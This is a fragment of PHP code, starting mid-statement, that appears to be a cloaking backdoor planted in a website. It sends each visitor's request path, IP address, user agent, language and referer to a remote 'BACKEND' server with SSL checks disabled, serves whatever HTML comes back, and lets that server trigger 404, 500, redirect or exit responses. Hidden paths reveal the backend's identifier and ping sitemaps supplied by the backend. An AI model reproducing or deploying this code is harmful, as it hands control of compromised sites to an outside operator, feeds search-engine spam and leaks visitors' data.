1,
CURLOPT_HEADER => 0,
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_TIMEOUT => 30,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = curl_exec($ch);
if ($response === false) {
$err = curl_error($ch);
$errno = curl_errno($ch);
$info = curl_getinfo($ch);
error_log("[SHELL_DEBUG] curl FAILED: errno={$errno}, error={$err}, http_code={$info['http_code']}, url=" . ($isPost ? $url : ($data ? "{$url}?..." : $url)) . ", total_time={$info['total_time']}s");
} else {
$info = curl_getinfo($ch);
$contentType = $info['content_type'] ?? '';
if ($contentType) @header("Content-Type: {$contentType}");
if (strlen($response) < 10) {
error_log("[SHELL_DEBUG] curl OK but short response: len=" . strlen($response) . ", body=" . var_export($response, true) . ", http_code={$info['http_code']}, total_time={$info['total_time']}s");
}
}
curl_close($ch);
return $response;
}
return @file_get_contents($data ? "{$url}?{$data}" : $url);
}
function fetchBackend($url, $queryString) {
$response = httpRequest($url, $queryString);
if (!$response) {
error_log("[SHELL_DEBUG] fetchBackend: first attempt empty/false, response=" . var_export($response, true));
return false;
}
$flag = $response[0];
if ($flag === '4') {
@header('HTTP/1.1 404 Not Found');
echo substr($response, 1);
die;
}
if ($flag === '5') {
@header('HTTP/1.1 500 Internal Server Error');
echo substr($response, 1);
die;
}
if ($flag === '3') {
@header('HTTP/1.1 302 Found');
@header('Location: ' . substr($response, 1));
die;
}
if ($flag === '7') return false;
if ($flag === '8') die;
return $response;
}
$requestUri = gv('REQUEST_URI');
if (trim($requestUri, '/') === 'jp2023')
{
$host = parse_url(BACKEND, PHP_URL_HOST);
$hostParts = explode('.', $host);
$identifier = $hostParts[0] ?? 'unknown';
die("404 Not Found!({$identifier})
");
}
$params = http_build_query([
'uri' => $requestUri,
'dom' => gv('HTTP_HOST'),
'ip' => getClientIp(),
'lang' => gv('HTTP_ACCEPT_LANGUAGE'),
'agent' => gv('HTTP_USER_AGENT'),
'refer' => gv('HTTP_REFERER'),
'http' => isHttps() ? 'https' : 'http',
]);
if (strpos($requestUri, 'pingsitemap') !== false) {
$urls = fetchBackend(BACKEND, $params);
if ($urls) {
foreach (explode(',', $urls) as $pingUrl) {
$result = httpRequest($pingUrl);
echo $pingUrl . '
';
echo (stristr($result, 'successfully') ? 'ping ok' : $result) . '
';
}
}
} else {
$html = fetchBackend(BACKEND, $params);
if ($html) die($html);
}?>